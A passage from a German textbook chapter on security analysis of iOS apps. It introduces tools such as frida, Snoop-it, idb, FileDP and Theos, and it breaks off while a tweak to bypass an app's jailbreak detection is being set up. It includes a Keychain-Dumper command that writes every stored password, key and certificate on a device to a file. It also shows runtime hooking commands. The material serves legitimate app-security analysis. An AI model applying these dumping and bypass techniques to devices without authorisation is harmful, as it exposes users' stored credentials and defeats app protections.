Sicherheitsprobleme, die ein Entwickler von Applikationen aus Versehen verursachen<br />
kann.<br />
Wie schon bei Android, so gilt auch hier: Selbst wenn man sich als Entwickler<br />
an Vorgaben zum Programmieren sicheren Codes hält, ist es immer noch sehr<br />
schwer, eine komplett fehlerfreie Applikation zu entwerfen. Zudem ist ein hohes<br />
Maß an Wissen nötig, um diesem Ziel auch nur ansatzweise nahe zu kommen.<br />
Da all diese Voraussetzungen nur selten erfüllt sind, ist es wichtig für uns<br />
als Sicherheitsanalysten – aber auch für Angreifer –, zu wissen, wo eventuelle<br />
Schwachstellen versteckt sind und wie sie sich finden und ausnutzen lassen.<br />
Aus diesem Grund schauen wir uns in diesem Kapitel wichtige Werkzeuge,<br />
aber auch die häufigsten Schwachstellen an. Dazu ist dieses Kapitel in fünf logische<br />
Teilgebiete unterteilt:<br />
1. Wichtige Werkzeuge zur Analyse (Abschnitt 6.1)<br />
2. Zugriffe auf personenbezogene Daten (Abschnitt 6.2)<br />
3. Manipulation von Applikationen zur Laufzeit (Abschnitt 6.3)<br />
4. Digitale Forensik (Abschnitt 6.4)<br />
5. Erkennen von fehlenden Sicherheitsfunktionen in einer Applikation (Abschnitt<br />
6.5)<br />
6.1 Wichtige Tools und Helfer<br />
Bevor wir in die Techniken und Probleme bei iOS-Applikationen eintauchen, sehen<br />
wir uns noch kurz ein paar sehr wichtige Tools an, die bei der Analyse hilfreich<br />
sind und im weiteren Verlauf des Kapitels immer wieder auftauchen werden.<br />
Zu diesen Tools gehören – neben den in Kapitel 5 bereits erwähnten Tools – unter<br />
anderem: otool, Snoop-it und frida.
138 6 Sicherheitsprobleme bei iOS-Applikationen<br />
6.1.1 otool<br />
otool ist vom Funktionsumfang sehr ähnlich zu dem in Abschnitt 5.2.4 beschriebenen<br />
Tool class-dump, weist allerdings beim Anzeigen der Informationen einige<br />
Nachteile auf, da class-dump deutlich einfacher lesbare Ausgaben erzeugt. Der<br />
Vorteil liegt jedoch wieder mal im Detail versteckt: otool bietet einige wichtige<br />
zusätzliche Funktionen, wie z. B. das Auslesen der verwendeten Bibliotheken<br />
einer Applikation (siehe dazu Codebeispiel 6–1):<br />
$: otool -L Test.app/Test<br />
Test.app/Test:<br />
/System/Library/Frameworks/QuartzCore.framework/QuartzCore (<br />
compatibility version 1.2.0, current version 1.8.0)<br />
/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics (<br />
compatibility version 64.0.0, current version 600.0.0)<br />
/System/Library/Frameworks/CFNetwork.framework/CFNetwork (<br />
compatibility version 1.0.0, current version 609.1.4)<br />
/System/Library/Frameworks/UIKit.framework/UIKit (compatibility<br />
version 1.0.0, current version 2380.17.0)<br />
/System/Library/Frameworks/Foundation.framework/Foundation (<br />
compatibility version 300.0.0, current version 993.0.0)<br />
/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current<br />
version 228.0.0)<br />
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current<br />
version 173.8.0)<br />
/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation (<br />
compatibility version 150.0.0, current version 793.0.0)<br />
Codebeispiel 6–1: Auslesen der verwendeten Bibliotheken mittels otool<br />
Diese Ausgabe kann sehr hilfreich sein, um veraltete oder anfällige Third-Party-<br />
Bibliotheken zu erkennen.<br />
6.1.2 Snoop-it<br />
Snoop-it1 verwendet Library Injection und API Hooking zur Laufzeit, um seine<br />
Funktionalität in die gewünschte Applikation einzubringen. Beim Start der<br />
Applikation wird diese durch das Einschleusen einer Bibliothek nachträglich um<br />
Analyse- und Überwachungsfunktionen erweitert. Während der Ausführung der<br />
zu überwachenden Applikation werden im Hintergrund zentrale sicherheits- und<br />
privatsphärerelevante Vorgänge aufgezeichnet und ein Webserver gestartet, der<br />
die Interaktion vom Analyserechner aus zulässt. Dieser Webserver stellt eine<br />
1 Snoop-it: https://code.google.com/archive/p/snoop-it/
6.1 Wichtige Tools und Helfer 139<br />
Abb. 6–1: Webinterface von Snoop-it mit geladener Notes-Applikation<br />
XML-RPC-Schnittstelle zur Verfügung, über die in Echtzeit auf die aufgezeichneten<br />
Ergebnisse und die Analysefunktionen zugegriffen werden kann. Zur einfachen<br />
Bedienung wird von dem Webserver zusätzlich eine webbasierte Benutzeroberfläche<br />
bereitgestellt (siehe Abbildung 6–1).<br />
Snoop-it stellt eine eigene Applikation zur Verfügung, die aus dem Cydia-<br />
Repository2 heruntergeladen werden kann. In dieser Applikation ist es möglich,<br />
grundlegende Settings wie z. B. URL und Port, aber auch die zu überwachende<br />
Applikation festzulegen. Hier können auch Settings verändert werden, die sich<br />
auf das Umgehen des Certificate Pinning (siehe hierzu Abschnitt 9.2.3) und der<br />
Jailbreak-Detektion spezialisieren.<br />
Wichtige Funktionen von Snoop-it, die wir im weiteren Verlauf dieses Kapitels<br />
immer wieder antreffen werden, sind u. a.:<br />
■<br />
■<br />
■<br />
■<br />
■<br />
Aufzeichnung von Dateisystemzugriffen inkl. der verwendeten NSFile-<br />
Protection-Klasse<br />
Zugriffe auf die Keychain inkl. der verwendeten kSecAttr-Klasse<br />
Zugriffe auf sensible und privatsphärerelevante APIs<br />
Verwendung der Crypto-APIs<br />
Die Möglichkeit zur Manipulation von Gerätedaten wie z. B. der GPS-Daten<br />
Zum Zeitpunkt der Veröffentlichung des Buches war Snoop-it leider nur in der<br />
Lage, 32-Bit-Applikationen zu untersuchen. Dies bedeutet, man benötigt ein älteres<br />
iOS-Endgerät (wie z. B. das iPhone 5C), um mit Snoop-it ohne Probleme<br />
arbeiten zu können. Hat man ein solches Gerät jedoch zur Hand, lohnt sich die<br />
Verwendung von Snoop-it auf jeden Fall, da es sehr viele wichtige Informationen<br />
direkt ausgibt und damit für den Analysten sehr hilfreich ist.<br />
2 Snoop-it Cydia-Repository: http://repo.nesolabs.de/
140 6 Sicherheitsprobleme bei iOS-Applikationen<br />
6.1.3 idb<br />
idb3 ist ähnlich wie Snoop-it ein Werkzeug, das dem Analysten einiges an Arbeit<br />
bei der Analyse von iOS-Applikationen abnimmt und Ergebnisse in eine grafische<br />
Oberfläche packt. Im Gegensatz zu Snoop-it, wo der Analyst lediglich auf dem<br />
Smartphone eine Komponente installieren muss, ist bei idb der wesentliche Teil<br />
auf dem Analyserechner zu installieren.<br />
Hierzu ist es nötig, dass wir die in Codebeispiel 6–2 gezeigten Schritte auf<br />
unserem Analyserechner mit Mac OS X ausführen.<br />
# Installation der nötigen Pakete<br />
$: brew install qt cmake usbmuxd libimobiledevice<br />
# Installation von idb als Ruby-Paket<br />
$: sudo gem install idb<br />
Codebeispiel 6–2: Installation von idb auf Mac OS X<br />
Nach der erfolgreichen Installation können wir das Tool starten, in dem wir einfach<br />
unser Test-Smartphone mit dem Analyserechner per USB verbinden und<br />
auf der Kommandozeile den Befehl idb eintippen. Anschließend öffnet sich ein<br />
Fenster, in dem wir das Smartphone auswählen, auf welchem wir eine Applikation<br />
analysieren möchten. Im nun folgenden Fenster wird geprüft, ob auf dem<br />
Endgerät alle erforderlichen Pakete installiert sind, die idb benötigt (siehe Abbildung<br />
6–2). Sollten noch wichtige Pakete fehlen, so können diese direkt über<br />
dieses Fenster nachinstalliert werden.<br />
Abb. 6–2: Gerätestatus in idb<br />
3 idb: http://www.idbtool.com/
6.1 Wichtige Tools und Helfer 141<br />
Abb. 6–3: Übersicht einer analysierten Applikation in idb<br />
Im zweiten Schritt müssen wir nun noch die zu analysierende Applikation auswählen.<br />
Haben wir dies alles durchgeführt, bekommen wir eine erste Übersicht<br />
der Applikation angezeigt (siehe Abbildung 6–3).<br />
Wie auch Snoop-it bietet idb wichtige Funktionen, die wir im weiteren Verlauf<br />
dieses Kapitels immer wieder sehen und verwenden werden. Dazu gehören<br />
u. a.:<br />
■<br />
■<br />
■<br />
■<br />
■<br />
■<br />
■<br />
Aufzeichnung von Dateisystemzugriffen inkl. der verwendeten NSFile-<br />
Protection-Klasse<br />
Zugriffe auf die Keychain inkl. der verwendeten kSecAttr-Klasse<br />
Binary-Analysen wie z. B. Prüfen, ob das Binary verschlüsselt ist oder ob<br />
Techniken wie ASLR, DEP oder ARC implementiert sind<br />
Strings aus der Applikation extrahieren<br />
URL-Handlers auflisten<br />
Die Zwischenablage überwachen<br />
Nach Snapshots der Applikation suchen<br />
6.1.4 frida<br />
frida4 ist ähnlich wie cycript ein Tool zur Laufzeitmanipulation von iOS-Applikationen.<br />
Dabei unterstützt frida sowohl das Hooken von Funktionsaufrufen wie<br />
4 frida: http://www.frida.re/
142 6 Sicherheitsprobleme bei iOS-Applikationen<br />
auch deren Manipulation mittels JavaScript und ist dabei noch automatisierbar<br />
mithilfe selbst erstellter Skripte.<br />
Bei der Installation von frida auf Mac OS X El Capitan gibt es eine Besonderheit:<br />
Durch die neu eingeführten Schutzmechanismen des Betriebssystems ist<br />
es nicht mehr möglich, frida ganz herkömmlich zu installieren, da das System<br />
hierbei eine Python-Bibliothek updaten möchte, die vom System selbst geschützt<br />
wird. Die Installation muss daher mit dem -ignore-installed-Zusatz erfolgen wie<br />
in Codebeispiel 6–3 gezeigt:<br />
$: sudo pip install frida --ignore-installed<br />
Collecting frida<br />
Downloading frida-6.0.12.zip<br />
Collecting colorama>=0.2.7 (from frida)<br />
Downloading colorama-0.3.5-py2.py3-none-any.whl<br />
Collecting prompt-toolkit==0.38 (from frida)<br />
Downloading prompt_toolkit-0.38-py2-none-any.whl (154kB)<br />
100% |????????????????????????????????| 155kB 3.0MB/s<br />
Collecting pygments>=2.0.2 (from frida)<br />
Downloading Pygments-2.0.2-py2-none-any.whl (672kB)<br />
100% |????????????????????????????????| 675kB 607kB/s<br />
Collecting wcwidth (from prompt-toolkit==0.38->frida)<br />
Downloading wcwidth-0.1.5-py2.py3-none-any.whl<br />
Collecting six>=1.8.0 (from prompt-toolkit==0.38->frida)<br />
Downloading six-1.10.0-py2.py3-none-any.whl<br />
Installing collected packages: colorama, pygments, wcwidth, six, prompttoolkit,<br />
frida<br />
Running setup.py install for frida<br />
Successfully installed colorama-0.3.5 frida-6.0.12 prompt-toolkit-0.38<br />
pygments-2.0.2 six-1.4.1 wcwidth-0.1.5<br />
Codebeispiel 6–3: Installation von frida auf Mac OS X El Capitan<br />
Im Anschluss müssen auf dem iOS-Endgerät noch die zugehörigen Komponenten<br />
installiert werden, damit das mobile Endgerät auch mit dem Analyserechner<br />
kommunizieren und die Befehle dort umsetzen kann. Hierfür müssen wir einfach<br />
das entsprechende Cydia-Repository5 einbinden und hieraus frida installieren.<br />
Um zu testen, ob alles funktioniert, ist es am einfachsten, den in Codebeispiel<br />
6–4 gezeigten Befehl auf dem Analyserechner auszuführen.<br />
5 frida Cydia-Repository: http://build.frida.re/
6.1 Wichtige Tools und Helfer 143<br />
$: frida-ps -U<br />
PID Name<br />
--- ----------------<br />
482 Cydia<br />
369 Mail<br />
99 AppleIDAuthAgent<br />
135 BTServer<br />
259 BlueTool<br />
653 CacheDeleteAppCo<br />
655 CacheDeleteITune<br />
659 CacheDeleteSyste<br />
298 CallHistorySyncH<br />
.....<br />
Codebeispiel 6–4: Auflistung der laufenden Prozesse auf einem iOS-Endgerät mittels frida<br />
Sollten hierbei Fehlermeldungen auftreten, liegt es meist daran, dass die Version<br />
von frida auf dem Analyserechner und auf dem iOS-Endgerät nicht übereinstimmen.<br />
Dies kann mittels frida --version auf dem Analyserechner und frida-server<br />
--version auf dem iOS-Endgerät überprüft werden.<br />
Codebeispiel 6–5 zeigt einige essenzielle Befehle, die frida bereitstellt und die<br />
im weiteren Verlauf des Kapitels Anwendung finden.<br />
# Ähnlich zu dem bereits bekannten Befehl, diesmal werden jedoch nur aktuell<br />
laufende Applikationen gelistet und nicht alle laufenden Prozesse<br />
$: frida-ps -Ua<br />
# Listet alle installierten Applikationen, auch welche, die aktuell nicht<br />
ausgeführt werden<br />
$: frida-ps -Uai<br />
# Überwacht recv* und send* APIs in Safari<br />
$: frida-trace -i "recv*" -i "send*" Safari<br />
# Überwacht ObjC-Methodenaufrufe in Twitter<br />
$: frida-trace -m "-[NSView drawRect:]" Twitter<br />
# Verbinden von frida mit der laufenden Notizen-Applikation zum Manipulieren<br />
$: frida -U Notizen<br />
Codebeispiel 6–5: Essenzielle Befehle für frida
144 6 Sicherheitsprobleme bei iOS-Applikationen<br />
6.1.5 Keychain-Dumper<br />
Das Tool Keychain-Dumper6 ermöglicht es, von einem iOS-Endgerät alle Einträge<br />
in der Keychain auszulesen. Dies kann immer dann hilfreich sein, wenn man<br />
wissen will, was eine bestimmte Applikation in der Keychain ablegt und wie sie es<br />
dort ablegt. Da Keychain-Dumper die komplette Keychain einfach auf die Kommandozeile<br />
ausgibt, sollte man die Ausgabe in eine Datei umleiten, die man dann<br />
im Anschluss per SCP vom mobilen Endgerät auf den Analyserechner überträgt<br />
(siehe dazu Codebeispiel 6–6).<br />
$: ./keychain_dumper -a &> keychain.dump<br />
Codebeispiel 6–6: Umleiten der Keychain-Dumper-Ausgabe in eine Datei<br />
Keychain-Dumper besitzt neben der vollen Auflistung der Keychain auch Parameter,<br />
mit denen man die Ausgabe auf bestimmte Gruppen begrenzen kann. Dies<br />
kann dann hilfreich sein, wenn die Keychain sehr viele Einträge beinhaltet und<br />
man nur an bestimmten Gruppen – z. B. gespeicherten Zertifikaten – Interesse<br />
hat (siehe dazu Codebeispiel 6–7).<br />
Usage: keychain_dumper [-e]|[-h]|[-agnick]<br />
: Dump Password Keychain Items (Generic Password, Internet<br />
Passwords)<br />
-a: Dump All Keychain Items (Generic Passwords, Internet Passwords,<br />
Identities, Certificates, and Keys)<br />
-e: Dump Entitlements<br />
-g: Dump Generic Passwords<br />
-n: Dump Internet Passwords<br />
-i: Dump Identities<br />
-c: Dump Certificates<br />
-k: Dump Keys<br />
Codebeispiel 6–7: Keychain-Dumper-Parameter<br />
6.1.6 FileDP<br />
FileDP7 ist ein kleines, aber mächtiges Tool, das es einem Analysten erlaubt,<br />
schnell herauszufinden, welche der in Abschnitt 1.2.3 beschriebenen Schutzklassen<br />
eine Datei oder ein ganzes Unterverzeichnis einer zu untersuchenden Applikation<br />
besitzt. Diese Informationen können zwar auch mit den bereits beschriebenen<br />
Werkzeugen Snoop-it und idb dargestellt werden, doch es gibt immer wieder<br />
6 Keychain-Dumper: https://github.com/ptoomey3/Keychain-Dumper<br />
7 FileDP: http://www.securitylearn.net/wp-content/uploads/tools/iOS/FileDP.zip
6.1 Wichtige Tools und Helfer 145<br />
Momente, wo man sich nicht nur auf ein Tool verlassen sollte oder man schnell<br />
die Informationen benötigt, ohne zuvor komplexe Werkzeuge starten zu müssen.<br />
Bei der Analyse von Applikationen aus der Perspektive des Sicherheitsanalysten<br />
ist es wichtig, zu wissen, wann bei einer Datei mit sensiblem Inhalt die vom<br />
System bereitgestellten Verschlüsselungsmechanismen greifen. Hat man z. B. eine<br />
Datenbank, in der vertrauliche Kontodaten oder Projektdaten gespeichert sind,<br />
so möchte man sicher sein, dass diese Daten auch nur dann entschlüsselt vorliegen,<br />
wenn das Smartphone in den Händen des legitimen Nutzers ist. Hierfür<br />
bietet iOS die Schutzklasse NSFileProtectionComplete an.<br />
Schaut man sich nun per SSH das Dateisystem der Applikation an, so sieht<br />
man zwar, dass diese Datei vorhanden ist, aber die Schutzklasse lässt sich nicht<br />
ohne Weiteres erkennen. Um diese Metainformationen zu erhalten, übertragen<br />
wir FileDP mittels SCP auf das Smartphone, auf dem die zu untersuchende Applikation<br />
läuft, und machen es im Anschluss mittels chmod +x FileDP ausführbar.<br />
Nun verwenden wir FileDP wie in Codebeispiel 6–8 gezeigt.<br />
$: ./FileDP -d /var/mobile/Containers/Data/Application/07DF1A1E-DD3B-45D8-<br />
A55B-385FAC05C2BF<br />
2016-03-12 17:41:02.788 FileDP[1201:205901] file name is:/var/mobile/<br />
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/.com.<br />
apple.mobile_container_manager.metadata.plist - protection class:<br />
NSFileProtectionNone<br />
2016-03-12 17:41:02.793 FileDP[1201:205901] file name is:/var/mobile/<br />
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />
Documents - protection class:(null)<br />
2016-03-12 17:41:02.793 FileDP[1201:205901] file name is:/var/mobile/<br />
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />
Documents/AdCache.plist - protection class:NSFileProtectionComplete<br />
2016-03-12 17:41:02.795 FileDP[1201:205901] file name is:/var/mobile/<br />
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />
Documents/AdManager.plist - protection class:NSFileProtectionComplete<br />
2016-03-12 17:41:02.795 FileDP[1201:205901] file name is:/var/mobile/<br />
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />
Documents/ClientEncryptionService.plist - protection class:<br />
NSFileProtectionComplete<br />
2016-03-12 17:41:02.797 FileDP[1201:205901] file name is:/var/mobile/<br />
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />
Documents/SCMediaPersistentStore - protection class:(null)<br />
2016-03-12 17:41:02.798 FileDP[1201:205901] file name is:/var/mobile/<br />
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />
Documents/StoryAdStreamManager.plist - protection class:<br />
NSFileProtectionComplete
146 6 Sicherheitsprobleme bei iOS-Applikationen<br />
2016-03-12 17:41:02.799 FileDP[1201:205901] file name is:/var/mobile/<br />
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />
Documents/adTreatment.plist - protection class:NSFileProtectionComplete<br />
2016-03-12 17:41:02.800 FileDP[1201:205901] file name is:/var/mobile/<br />
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />
Documents/chats.plist - protection class:NSFileProtectionComplete<br />
...<br />
Codebeispiel 6–8: Auslesen der Schutzklasse einer im iOS-Dateisystem befindlichen Datei<br />
mittels FileDP<br />
In der Ausgabe von Codebeispiel 6–8 sieht man einige der Dateien, die Snapchat<br />
verwaltet, und deren Schutzklasse. So erkennt man z. B., dass die plist-Datei<br />
mit den Informationen zu einzelnen Chats (chats.plist) die höchste Schutzklasse<br />
– NSFileProtectionComplete – besitzt und somit nur entschlüsselt auf dem Gerät<br />
vorliegt, wenn ein Nutzer den Bildschirm des Smartphones entsperrt hat.<br />
Diese Informationen werden wir im Verlauf des Kapitels immer wieder benötigen,<br />
um Einschätzungen über die Sicherheit einer gespeicherten Information<br />
treffen zu können, daher ist das Tool FileDP ein wichtiger Helfer in unserer<br />
Toolchain.<br />
6.2 Analyse der Zugriffe auf sensible Nutzerdaten<br />
Gerade im Bereich der Analyse von Applikationen zum Einsatz auf privaten oder<br />
geschäftlichen Endgeräten ist es auch unter iOS wichtig, dass man die Zugriffe<br />
auf sensible Nutzerdaten untersucht. Es gibt immer wieder Applikationen, die<br />
in den Medien genannt werden, weil sie das Adressbuch der Nutzer auf ihren<br />
Servern speichern oder persönliche Daten von den iPhones der Nutzer abziehen.<br />
Dieses Verhalten ist hierbei auch nicht auf Android alleine beschränkt, sondern es<br />
stehen, wie man am Beispiel von Apps, die heimlich Snapchat-Accounts stehlen8 ,<br />
sieht, auch immer wieder iOS-Applikationen im Verdacht, dass sie nicht so mit<br />
den Nutzerdaten umgehen, wie dies vom Nutzer gewünscht ist.<br />
Bei iOS gibt es seit mehreren Jahren schon das Feature, dass dem Nutzer<br />
angezeigt wird, welche Applikationen Zugriff auf seine sensiblen Nutzerdaten<br />
haben (siehe dazu auch Abbildung 6–4), und jede Applikation fragt bei erstmaligem<br />
Zugriff auf eine dieser Datenquellen beim Benutzer an, ob er diesen Zugriff<br />
erlaubt oder nicht. Hierdurch ist es für bösartige Entwickler deutlich schwieriger,<br />
an sensible persönliche Nutzerdaten zu gelangen, ohne dass der Nutzer dies<br />
bemerkt. Auch lassen sich solche bereits erteilten Zugriffe über die Einstellungen<br />
von iOS jederzeit widerrufen. Diese Tatsache stellt an dieser Stelle den größten<br />
8 Drittanbieter-Apps stehlen Snapchat-Accounts: http://9to5mac.com/2016/03/08/<br />
ios-apps-snapchat-harvest-credentials/
6.2 Analyse der Zugriffe auf sensible Nutzerdaten 147<br />
Abb. 6–4: Datenschutzeinstellungen in iOS<br />
Unterschied zu Android dar, wo man als Nutzer lediglich bei der Installation<br />
Hinweise darauf bekommt, auf welche Daten die Applikation unter Umständen<br />
zugreifen möchte.<br />
Solche bereits erteilten Zugriffe lassen sich über die Einstellungen von iOS<br />
jederzeit widerrufen, wie das Beispiel von Snapchat in Abbildung 6–5 zeigt. Wie<br />
auf dieser Abbildung zu sehen ist, haben wir lediglich den Zugriff auf die Kamera<br />
sowie das Senden von Mitteilungen aktiviert, Zugriff auf die Kontakte hat<br />
Snapchat hingegen nicht.<br />
Doch alleine die Tatsache, dass die Applikation auf meine Bilder zugreifen<br />
möchte, ist noch lange kein Grund zur Besorgnis. Möchte ich z. B. gerade ein<br />
Bild per Twitter teilen, dann muss die Twitter-Applikation natürlich auf das vor<br />
Tagen aufgenommene Bild in meiner Galerie zugreifen dürfen. Viel wichtiger ist<br />
jedoch, dass auch wirklich nur das eine – von mir selbst ausgewählte – Bild mein<br />
Gerät verlässt und nicht auch andere Bilder. Solches Verhalten herauszufinden<br />
und aufzudecken ist auch auf iOS eine wichtige Aufgabe des Analysten.<br />
Um mehr Informationen darüber zu bekommen, wann eine Applikation auf<br />
eine API zugreift, die verwendet werden kann, um an sensible persönliche Daten<br />
zu gelangen, setzen wir im Folgenden zuerst Snoop-it ein (siehe Abschnitt 6.1.2<br />
für weitere Details). Wenn wir in den Einstellungen von Snoop-it unsere zu analysierende<br />
Applikation auswählen und anschließend starten, hängt sich Snoop-it<br />
in die laufenden Prozesse der Applikation und zeigt uns alle API-Zugriffe an. Um
148 6 Sicherheitsprobleme bei iOS-Applikationen<br />
Abb. 6–5: Datenschutzeinstellungen von Snapchat in iOS<br />
das Ganze hier etwas anschaulicher zu demonstrieren, verwenden wir die gerade<br />
schon erwähnte Applikation Snapchat.<br />
Zugriffe auf sensible Daten bzw. deren APIs zeigt Snoop-it unter dem Abschnitt<br />
Monitoring → Sensitive API an (wie in Abbildung 6–6 zu sehen). Hier erkennen<br />
wir nun, dass Snapchat zur Laufzeit zum einen auf die Wi-Fi-Mac-Adresse<br />
des iPhones zugreift, zum anderen aber auch auf die Kamera-API.<br />
Abb. 6–6: Analyse der Zugriffe von Snapchat auf persönliche Daten mittels Snoop-it<br />
In diesem Fall ist das Verhalten korrekt, da Snapchat dem Nutzer in diesem Moment<br />
auch die Kamera anzeigt, aber das muss nicht bei allen Applikationen so<br />
sein.
6.3 iOS-Applikationen zur Laufzeit manipulieren 149<br />
6.3 iOS-Applikationen zur Laufzeit manipulieren<br />
Wie wir schon bei Android gesehen haben, ist es wichtig, Applikationen auch<br />
zur eigentlichen Laufzeit zu analysieren bzw. zu manipulieren, um vordefinierte<br />
Verhaltensmuster zu prüfen oder zu umgehen. Beispiele für solche Verhalten sind<br />
z. B. Jailbreak-Erkennung oder Passwortsperren in Applikationen.<br />
Um dies zu erreichen, können wir Tools wie das in Abschnitt 6.1.4 vorgestellte<br />
frida verwenden oder Theos und die darin enthaltene Skriptsprache Logos.<br />
Theos9 ist eine Cross-Plattform-Toolsammlung, die es uns ermöglicht, Erweiterungen<br />
– sogenannte Tweaks – für iOS-Applikationen zu schreiben, um sie<br />
dann auf einem jailbroken Endgerät auszuführen (dabei ist Theos jedoch längst<br />
nicht der einzige Weg, um diese Tweaks zu erstellen). Um Theos verwenden zu<br />
können, müssen wir die in Codebeispiel 6–9 gezeigten Schritte auf unserem Analyserechner<br />
ausführen.<br />
# Installation der nötigen Pakete<br />
$: brew install dpkg ldid<br />
# Installation von Theos selbst<br />
$: export THEOS=/opt/theos<br />
$: git clone --recursive git://github.com/theos/theos.git $THEOS<br />
# Setzen der Umgebungsvariablen für Theos<br />
$: export PATH=$THEOS/bin:$PATH<br />
$: export THEOS_DEVICE_IP=iphone.local THEOS_DEVICE_PORT=22<br />
# Nun benötigen wir nur noch die passenden Bibliotheken<br />
$: wget http://apt.saurik.com/debs/mobilesubstrate_0.9.6011_iphoneos-arm.deb<br />
$: mkdir substrate<br />
$: dpkg-deb -x mobilesubstrate_*_iphoneos-arm.deb substrate<br />
$: mv substrate/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate<br />
$THEOS/lib/libsubstrate.dylib<br />
$: mv substrate/Library/Frameworks/CydiaSubstrate.framework/Headers/<br />
CydiaSubstrate.h $THEOS/include/substrate.h<br />
Codebeispiel 6–9: Installation von Theos unter Mac OS X<br />
Auf dem iOS-Endgerät müssen nun nur noch die passenden Gegenstücke installiert<br />
werden. Dazu müssen wir die folgenden beiden Repositories innerhalb von<br />
Cydia hinzufügen: http://coolstar.org/publicrepo und http://nix.howett.net/theos.<br />
Nachdem wir dies durchgeführt haben, müssen wir noch die folgenden Pakete<br />
über Cydia aus den neu hinzugefügten Repositories installieren:<br />
9 Theos: http://iphonedevwiki.net/index.php/Theos
150 6 Sicherheitsprobleme bei iOS-Applikationen<br />
■<br />
■<br />
■<br />
Perl<br />
Theos<br />
iOS Toolchain<br />
Hat alles funktioniert, so können wir uns per SSH auf das iOS-Endgerät verbinden<br />
und dort den Befehl echo $Theos ausführen. Als Rückgabe sollten wir den<br />
Pfad bekommen, in dem Theos installiert wurde – meist /var/theos.<br />
Um mit Theos schneller an das gewünschte Ziel zu kommen, gibt es Logos.<br />
Logos bietet eine Reihe von Befehlen, die wir nutzen können, um unsere eigenen<br />
Hooking-Skripte deutlich komfortabler erstellen zu können. Wichtige Befehle<br />
hierbei sind:<br />
%hook: Ist der Beginn eines Hookings für eine definierte Klasse innerhalb der zu<br />
analysierenden Applikation.<br />
%orig: Ruft die eigentliche Implementation der gehookten Klasse auf.<br />
%log: Schreibt die Argumente, mit denen eine gehookte Methode aufgerufen<br />
wurde, in das Systemlog.<br />
%end: Ist das Ende eines Hookings für eine definierte Klasse innerhalb der zu<br />
analysierenden Applikation.<br />
Mithilfe von Logos und Theos werden wir im folgenden Abschnitt sehen, wie<br />
man beispielsweise die Jailbreak-Erkennung einer Applikation umgehen kann.<br />
6.3.1 Umgehen der Jailbreak-Erkennung<br />
Die Erkennung eines Jailbreaks ist sehr komplex und es gibt eine Vielzahl an<br />
Möglichkeiten, zu prüfen, ob ein Gerät noch vertrauenswürdig ist oder durch<br />
einen Jailbreak modifiziert wurde. Generell hat man an dieser Stelle eine Art<br />
Katz-und-Maus-Spiel, da die Entwickler von sicheren Applikationen ständig neue<br />
Wege suchen, einen Jailbreak zu erkennen, und die Sicherheitsanalysten und Hacker<br />
versuchen, den Vorsprung so gering wie möglich sein zu lassen, sodass sie<br />
diese Applikationen auch ausführen können, wenn das System manipuliert ist.<br />
Wie auch bei Android beruhen die meisten Detektionstechniken darauf, dass<br />
nach bestimmten Dateien gesucht wird oder die Ausführung von eigentlich nicht<br />
vorhandenen Befehlen geprüft wird. Im Fall von iOS suchen die meisten Applikationen<br />
nach dem Vorhandensein von Cydia. Dieser Store befindet sich auf einem<br />
jailbroken iOS-Endgerät normalerweise unter /Applications/Cydia.app. Eine weitere<br />
Möglichkeit liegt darin, dass man versucht, den Befehl fork() auszuführen.<br />
Dieser Befehl ist normalerweise für eine Applikation nicht ausführbar bzw. seine<br />
Ausführung schlägt fehl. Sobald ein Gerät mittels Jailbreak manipuliert wurde,<br />
ändert sich das und jede Applikation kann diesen Befehl erfolgreich ausführen.<br />
Um eine solche Prüfung in einer Applikation zu finden, gehen wir ähnlich vor,<br />
wie schon beim Reversing gezeigt: Wir installieren die Applikation auf unserem<br />
Testgerät, entschlüsseln sie mithilfe von dump_decrypted und versuchen dann
6.3 iOS-Applikationen zur Laufzeit manipulieren 151<br />
mittels otool -ov auffällige Methoden- oder Klassennamen zu finden. Letzteres ist<br />
meist einfacher, als man denkt, da viele dieser Klassen oder Methoden im Namen<br />
schon deutliche Hinweise auf ihre Verwendung haben. Kommen wir hier nicht<br />
weiter, hilft leider nur das aufwendige Reversing mittels Hopper oder IDA Pro.<br />
Nehmen wir für das folgende Beispiel an, dass wir über die erwähnten Mechanismen<br />
eine Klasse mit dem Namen SecurityChecks gefunden hätten und darin<br />
eine Methode namens isDeviceJailbroken, die einen booleschen Wert (YES oder<br />
NO) zurückgibt, je nachdem, ob das Gerät jailbroken ist oder nicht.<br />
Um in diesem Beispiel dafür zu sorgen, dass eine Erkennung nicht mehr das<br />
richtige Ergebnis ausgibt, können wir mittels Theos und Logos die Applikation<br />
zur Laufzeit manipulieren. Hierzu legen wir einen neuen Tweak mithilfe von<br />
Theos an, wie in Codebeispiel 6–10 gezeigt.<br />
$: perl /var/theos/bin/nic.pl<br />
NIC 2.0 - New Instance Creator<br />
------------------------------<br />
[1.] iphone/activator_event<br />
[2.] iphone/application_modern<br />
[3.] iphone/cydget<br />
[4.] iphone/flipswitch_switch<br />
[5.] iphone/framework<br />
[6.] iphone/ios7_notification_center_widget<br />
[7.] iphone/library<br />
[8.] iphone/notification_center_widget<br />
[9.] iphone/preference_bundle_modern<br />
[10.] iphone/tool<br />
[11.] iphone/tweak<br />
[12.] iphone/xpc_service<br />
Choose a Template (required): 11<br />
Project Name (required): jbobfuscator<br />
Package Name [com.yourcompany.jbobfuscator]: de.mspreitz.jbobfuscator<br />
Author/Maintainer Name [Michael Spreitzenbarth]:<br />
[iphone/tweak] <strong>Mobile</strong>Substrate Bundle filter [com.apple.springboard]:<br />
[iphone/tweak] List of applications to terminate upon installation (spaceseparated,<br />
'-' for none) [SpringBoard]:<br />
Instantiating iphone/tweak in jbobfuscator/...<br />
Done.<br />
